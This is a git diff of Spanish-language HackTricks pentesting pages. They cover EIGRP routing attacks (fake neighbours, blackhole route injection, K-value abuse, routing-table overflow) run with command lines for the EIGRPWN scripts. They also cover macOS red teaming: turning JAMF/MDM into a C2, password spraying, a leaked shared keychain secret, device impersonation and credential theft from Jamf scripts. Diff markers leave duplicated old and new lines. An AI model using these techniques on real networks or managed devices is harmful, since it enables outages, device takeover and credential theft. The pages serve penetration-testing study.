- [EIGRP Security Best Practices](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/13669-17.html)
### Ataques EIGRP
#### Introducción
EIGRP (Protocolo de enrutamiento de puerta de enlace interior mejorado) es un protocolo de enrutamiento propietario de Cisco que se utiliza ampliamente en redes empresariales. Es un protocolo de enrutamiento vectorial de distancia avanzado que utiliza el algoritmo de actualización difusa (DUAL) para calcular la ruta más corta a una red de destino. EIGRP es un protocolo de enrutamiento sin clase que admite máscaras de subred de longitud variable (VLSM) y resumen de ruta.
#### Descripción general del protocolo EIGRP
EIGRP utiliza un diseño de red jerárquico que consta de los siguientes componentes:
- Sistema autónomo (AS): una colección de redes que se encuentran bajo un dominio administrativo común.
- Enrutador: un dispositivo que reenvía paquetes de datos entre redes.
- Vecino: un enrutador que comparte información de enrutamiento con otro enrutador.
- Tabla de topología: una base de datos que almacena información sobre todas las rutas conocidas en la red.
- Tabla de enrutamiento: una base de datos que almacena las mejores rutas para cada red de destino.
- Métricas: un conjunto de valores que se utilizan para calcular la mejor ruta a una red de destino.
#### Ataques EIGRP
EIGRP es vulnerable a los siguientes ataques:
- Espionaje: un atacante puede interceptar paquetes EIGRP y obtener información confidencial como la topología de la red, las tablas de enrutamiento y las métricas.
- Suplantación: un atacante puede enviar paquetes EIGRP falsos a un enrutador y manipular su tabla de enrutamiento. Esto puede provocar la redirección de tráfico, la eliminación de tráfico y ataques de denegación de servicio (DoS).
- Inyección: un atacante puede inyectar paquetes EIGRP falsos en la red para anunciar rutas falsas. Esto puede provocar la interceptación de tráfico, ataques de hombre en el medio (MitM) y fugas de datos.
- DoS: un atacante puede inundar la red con paquetes EIGRP para consumir recursos de red y causar congestión de red.
#### Contramedidas EIGRP
Para mitigar los ataques EIGRP, se pueden implementar las siguientes contramedidas:
- Autenticación: EIGRP admite autenticación MD5 para asegurar el intercambio de información de enrutamiento entre enrutadores.
- Cifrado: EIGRP admite cifrado IPsec para proteger la confidencialidad e integridad de la información de enrutamiento.
- Control de acceso: los paquetes EIGRP deben filtrarse en los límites de la red para evitar el acceso no autorizado y la suplantación.
- Monitoreo: el tráfico EIGRP debe monitorearse en busca de anomalías y actividad sospechosa.
- Fortalecimiento: los enrutadores EIGRP deben fortalecerse mediante la desactivación de servicios y características innecesarios, y la aplicación de parches y actualizaciones de seguridad.
#### Conclusión
EIGRP es un protocolo de enrutamiento potente que proporciona muchos beneficios a las redes empresariales. Sin embargo, es importante conocer sus vulnerabilidades e implementar contramedidas adecuadas para protegerse contra los ataques. Siguiendo las mejores prácticas de seguridad de red, las organizaciones pueden garantizar la integridad, disponibilidad y confidencialidad de su infraestructura de red.
#### Referencias
- [Descripción general de Cisco EIGRP](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/16406-eigrp-toc.html)
- [Mejores prácticas de seguridad de EIGRP](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/13669-17.html)
```
Inguz# show version
```
@ -79,7 +147,7 @@ Inguz# show version
> **Sin embargo, no olvides que el dominio de enrutamiento EIGRP puede estar protegido por autenticación. Pero aún tienes la oportunidad de conectarte al dominio de enrutamiento. Cuando se envían paquetes hello, también contienen hashes criptográficos. Si puedes extraer estos hashes del volcado de tráfico y restablecer la contraseña, puedes iniciar sesión en el dominio de enrutamiento con esta contraseña.**
Ve a modo de configuración global y comienza el proceso de **EIGRP**, especifica el número de sistema autónomo - **1**
Ve al modo de configuración global y comienza el proceso de **EIGRP**, especifica el número de sistema autónomo - **1**
Y también necesitamos declarar la red en la que estamos. Estamos en 10.10.100.0/24. Mi dirección es 10.10.100.50/32
```
@ -107,7 +175,7 @@ Durante el establecimiento y mantenimiento de la vecindad entre los routers EIGR
<figure><img src="../../.gitbook/assets/image (29) (1) (2).png" alt=""><figcaption></figcaption></figure>
Así, después de establecer la vecindad, sabemos sobre la existencia de estas subredes, lo que nos facilita la pentest y nos ahorra tiempo. Podemos prescindir del escaneo adicional de subredes. Ahora estamos en el dominio de enrutamiento EIGRP y podemos desarrollar algunos vectores de ataque. Hablemos de ellos.
Así, después de establecer la vecindad, sabemos sobre la existencia de estas subredes, lo que nos facilita la prueba de penetración y nos ahorra tiempo. Podemos prescindir del escaneo adicional de subredes. Ahora estamos en el dominio de enrutamiento EIGRP y podemos desarrollar algunos vectores de ataque. Hablemos de ellos.
### Vecinos EIGRP falsos <a href="#51ee" id="51ee"></a>
@ -118,7 +186,7 @@ Así, después de establecer la vecindad, sabemos sobre la existencia de estas s
Argumentos del script:
* **Interfaz del sistema atacante (eth0);**
* **Número autónomo de sistema EIGRP (1);**
* **Número autónomo del sistema EIGRP (1);**
* **Subred donde se encuentra el sistema atacante. En mi caso, la subred es 10.10.100.0/24**
```
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
@ -127,7 +195,7 @@ Argumentos del script:
### Agujero negro EIGRP <a href="#5c04" id="5c04"></a>
La esencia de este ataque es la simple inyección de una ruta falsa que envenenará la tabla de enrutamiento. El tráfico hacia, digamos, la red `10.10.100.0/24` no llegará a ninguna parte, causando una denegación de servicio. A este tipo de ataque se le llama agujero negro. La herramienta utilizada para realizarlo será el script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py). Para este ejemplo, enviaré tráfico destinado al host `172.16.100.140/32` al agujero negro.
La esencia de este ataque es la simple inyección de una ruta falsa que envenenará la tabla de enrutamiento. El tráfico hacia, digamos, la red `10.10.100.0/24` no llegará a ninguna parte, causando una denegación de servicio. Este tipo de ataque se llama agujero negro. La herramienta utilizada para realizarlo será el script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py). Para este ejemplo, enviaré tráfico destinado al host `172.16.100.140/32` al agujero negro.
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
@ -141,13 +209,13 @@ Argumentos del script:
```
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
```
<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (20) (1) (2).png" alt=""><figcaption></figcaption></figure>
**Nuestro host parece estar en problemas :)**
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
Como se puede ver, el host pierde conectividad con el host **172.16.100.140/32** debido a la inyección de ruta.
Como se puede ver, el host pierde la conectividad con el host **172.16.100.140/32** debido a la inyección de ruta.
### Abusando de los valores K <a href="#25aa" id="25aa"></a>
@ -169,19 +237,19 @@ Argumentos del script:
<figure><img src="../../.gitbook/assets/image (27) (1).png" alt=""><figcaption><p>El router GW1 se desconecta y reconecta infinitamente a EIGRP</p></figcaption></figure>
**Un ataque DoS puede llevarse a cabo de esta manera. Durante la operación, ocurren interrupciones y intentos de vecindario infinitos, paralizando parte del dominio de enrutamiento EIGRP.**
**Un ataque DoS puede llevarse a cabo de esta manera. Durante la operación, ocurren desconexiones y intentos de vecindario infinitos, paralizando parte del dominio de enrutamiento EIGRP.**
### Desbordamiento de tabla de enrutamiento <a href="#1d0c" id="1d0c"></a>
La esencia de este ataque es provocar el envío de una gran cantidad de rutas falsas, que desbordarán la tabla de enrutamiento. Esto agota los recursos informáticos del router, es decir, la CPU y la RAM, ya que las inyecciones ocurren a una velocidad enorme. Este ataque se implementa con el script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py).
La esencia de este ataque es provocar el envío de una gran cantidad de rutas falsas, que desbordarán la tabla de enrutamiento. Esto agota los recursos informáticos del router, es decir, la CPU y la RAM, ya que las inyecciones ocurren a una velocidad enorme. Este ataque se implementa con el script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py)
<figure><img src="../../.gitbook/assets/image (3) (4).png" alt=""><figcaption></figcaption></figure>
Argumentos del script
* **interfaz de red**
* **número AS de EIGRP**
* **dirección IP del atacante**
* **Número AS de EIGRP**
* **Dirección IP del atacante**
```
in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
```
@ -189,7 +257,7 @@ Después de ejecutar el script, la tabla de enrutamiento comienza a desbordarse
<figure><img src="../../.gitbook/assets/image (4) (4).png" alt=""><figcaption><p>Tabla de enrutamiento desbordada en el router GW1</p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (21) (1).png" alt=""><figcaption><p>CPU del router sobrecargada</p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (21) (1).png" alt=""><figcaption><p>CPU del router sobrecargado</p></figcaption></figure>
<details>
@ -198,7 +266,7 @@ Después de ejecutar el script, la tabla de enrutamiento comienza a desbordarse
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR a los repositorios de** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,31 +1,114 @@
# Red Teaming en macOS
# macOS Red Teaming
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Métodos comunes de gestión
## Abusando de los MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **potencialmente comprometer todas las computadoras** distribuyendo tu malware en las máquinas.
Para el red teaming en entornos de macOS, es muy recomendable tener cierta comprensión de cómo funcionan los MDM:
Para el red teaming en entornos MacOS, es muy recomendable tener cierta comprensión de cómo funcionan los MDM:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
Y también sobre los **protocolos de red** "especiales" de **MacOS**:
### Usando MDM como C2
Un MDM tendrá permiso para instalar, consultar o eliminar perfiles, instalar aplicaciones, crear cuentas de administrador locales, establecer contraseñas de firmware, cambiar la clave de FileVault...
Para ejecutar tu propio MDM, necesitas **tu CSR firmado por un proveedor**, que podrías intentar obtener con [**https://mdmcert.download/**](https://mdmcert.download/). Y para ejecutar tu propio MDM para dispositivos Apple, podrías usar [**MicroMDM**](https://github.com/micromdm/micromdm).
Sin embargo, para instalar una aplicación en un dispositivo inscrito, aún necesitas que esté firmada por una cuenta de desarrollador... sin embargo, al inscribirse en MDM, el **dispositivo agrega el certificado SSL del MDM como una CA de confianza**, por lo que ahora puedes firmar cualquier cosa.
Para inscribir el dispositivo en un MDM, necesitas instalar un archivo **`mobileconfig`** como root, que podría entregarse a través de un archivo **pkg** (podrías comprimirlo en zip y cuando se descargue desde Safari se descomprimirá).
El agente Mythic Orthrus utiliza esta técnica.
### Abusando de JAMF PRO
JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el administrador del sistema), **cargas útiles nativas** (creación de cuentas locales, establecimiento de contraseñas EFI, monitoreo de archivos/procesos...) y **MDM** (configuraciones de dispositivos, certificados de dispositivos...).
#### Autoinscripción de JAMF
Ve a una página como `https://<company-name>.jamfcloud.com/enroll/` para ver si tienen **autoinscripción habilitada**. Si lo tienen, podría **pedir credenciales para acceder**.
Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de spraying de contraseñas.
Además, después de encontrar las credenciales adecuadas, podrías ser capaz de hacer fuerza bruta en otros nombres de usuario con el siguiente formulario:
![](<../../.gitbook/assets/image (19).png>)
#### Autenticación de dispositivos JAMF
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento estaba **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Toma de control del dispositivo JAMF
La **URL** de **JSS** (Jamf Software Server) que **`jamf`** utilizará se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
Este archivo básicamente contiene la URL:
{% code overflow="wrap" %}
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
{% endcode %}
Por lo tanto, un atacante podría dejar caer un paquete malicioso (`pkg`) que **sobrescribe este archivo** cuando se instala, estableciendo la **URL en un escucha de Mythic C2 desde un agente de Typhon** para poder abusar de JAMF como C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
{% endcode %}
#### Suplantación de JAMF
Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
* El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* El **llavero JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
Con esta información, **crea una VM** con el **UUID** de hardware **robado** y con **SIP deshabilitado**, deja caer el **llavero JAMF,** **engancha** el **agente** de Jamf y roba su información.
#### Robo de secretos
<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p>a</p></figcaption></figure>
También puedes monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores puedan querer ejecutar a través de Jamf, ya que se **colocan aquí, se ejecutan y se eliminan**. Estos scripts **pueden contener credenciales**.
Sin embargo, las **credenciales** podrían pasarse a estos scripts como **parámetros**, por lo que tendrías que monitorear `ps aux | grep -i jamf` (sin siquiera ser root).
El script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) puede escuchar la adición de nuevos archivos y nuevos argumentos de proceso.
### Acceso remoto a macOS
Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -33,7 +116,7 @@ Y también sobre los **protocolos de red** "especiales" de **MacOS**:
## Active Directory
En algunas ocasiones, encontrarás que la **computadora macOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
En algunas ocasiones encontrarás que la **computadora MacOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -53,12 +136,12 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
```
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con Kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts MacOS.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las APIs de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
### Información del dominio
```
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Usuarios
@ -102,25 +185,33 @@ Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Direc
## Servicios Externos
El Red Teaming de MacOS es diferente al Red Teaming regular de Windows ya que usualmente **MacOS está integrado directamente con varias plataformas externas**. Una configuración común de MacOS es acceder a la computadora usando **credenciales sincronizadas con OneLogin, y accediendo a varios servicios externos** (como github, aws...) a través de OneLogin:
El Red Teaming de MacOS es diferente al Red Teaming regular de Windows ya que usualmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora usando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin:
![](<../../.gitbook/assets/image (563).png>)
###
## Técnicas Misc de Red Team
### Safari
Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá automáticamente**. Por ejemplo, si se **descarga un archivo zip**, se descomprimirá automáticamente:
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
## Referencias
* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E)
* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -41,7 +41,7 @@ Además, **Mach y BSD mantienen modelos de seguridad diferentes**: el modelo de
### I/O Kit - Controladores
I/O Kit es el marco de **controladores de dispositivos orientado a objetos** de código abierto en el kernel XNU y es responsable de la adición y gestión de **controladores de dispositivos cargados dinámicamente**. Estos controladores permiten que se agregue código modular al kernel de forma dinámica para su uso con diferentes hardware, por ejemplo. Se encuentran en:
I/O Kit es el marco de **controlador de dispositivo orientado a objetos** de código abierto en el kernel XNU y es responsable de la adición y gestión de **controladores de dispositivo cargados dinámicamente**. Estos controladores permiten que se agregue código modular al kernel dinámicamente para su uso con diferentes hardware, por ejemplo. Se encuentran en:
* `/System/Library/Extensions`
* Archivos KEXT integrados en el sistema operativo OS X.
@ -71,7 +71,7 @@ Para encontrar extensiones específicas, puedes usar:
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
Para cargar y descargar extensiones de kernel, haz lo siguiente:
Para cargar y descargar extensiones de kernel, haga lo siguiente:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
@ -90,6 +90,14 @@ macOS es **muy restrictivo para cargar Extensiones de Kernel** (.kext) debido a
[macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %}
### Extensiones de Sistema de macOS
En lugar de utilizar Extensiones de Kernel, macOS creó las Extensiones de Sistema, que ofrecen APIs de nivel de usuario para interactuar con el kernel. De esta manera, los desarrolladores pueden evitar el uso de extensiones de kernel.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
{% endcontent-ref %}
## Referencias
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)

View File

@ -8,7 +8,7 @@
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -22,19 +22,19 @@ Obviamente, esto es tan poderoso que es complicado cargar una extensión de kern
* Al entrar en **modo de recuperación**, las extensiones de kernel deben estar **permitidas para ser cargadas**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
* La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser otorgado por **Apple**. Quien revisará en detalle la **empresa** y las **razones** por las que se necesita.
* La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
* Luego, el **usuario root** es el que puede cargar la extensión y los archivos dentro del paquete deben pertenecer a root.
* Finalmente, al intentar cargarla, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y, si se acepta, la computadora debe **reiniciarse** para cargarla.
* Luego, el **usuario root** es el que puede cargar la extensión de kernel y los archivos dentro del paquete deben pertenecer a root.
* Finalmente, al intentar cargarla, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y si se acepta, la computadora debe **reiniciarse** para cargarla.
### Proceso de carga
En Catalina era así: Es interesante destacar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con la concesión **`com.apple.private.security.kext-management`** pueden **solicitar al kernel** que **cargue una extensión:** kextcache, kextload, kextutil, kextd, syspolicyd
1. **`kextutil`** cli **inicia** el proceso de verificación para cargar una extensión
* Se comunicará con **`kextd`** enviando un servicio Mach
* Se comunicará con **`kextd`** enviando usando un servicio Mach
2. **`kextd`** verificará varias cosas, como la firma
* Se comunicará con **`syspolicyd`** para verificar si se puede cargar la extensión
3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no se ha cargado previamente

View File

@ -0,0 +1,100 @@
# Extensiones del sistema macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Extensiones del sistema / Marco de seguridad de punto final
A diferencia de las extensiones del kernel, las **extensiones del sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, lo que reduce el riesgo de un fallo del sistema debido al mal funcionamiento de la extensión.
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
